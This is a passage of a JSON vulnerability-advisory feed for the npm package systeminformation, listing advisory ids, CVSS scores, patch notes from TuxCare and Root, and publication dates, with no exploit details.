5.31.7.","status":"published","published":"2026-07-17T20:17:00Z","modified":"2026-10-17T12:58:59.602213538Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:33.391918Z"},{"id":"CLSA-2026-1788560453","title":"TuxCare security update for systeminformation (4 CVEs)","description":"TuxCare rebuilt systeminformation to address 4 CVEs. Fixed in 5.23.8-tuxcare.1.","status":"published","published":"2026-09-04T22:20:53Z","modified":"2026-10-15T09:48:03.099632871Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"ROOT-APP-NPM-CVE-2026-50289","title":"CVE-2026-50289 in systeminformation - Patched by Root","description":"Root has patched CVE-2026-50289 in the systeminformation package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-05T10:01:42Z","modified":"2026-10-05T11:15:02.759124283Z","updated_at":"2026-11-02T15:53:27.649662Z"}]}}
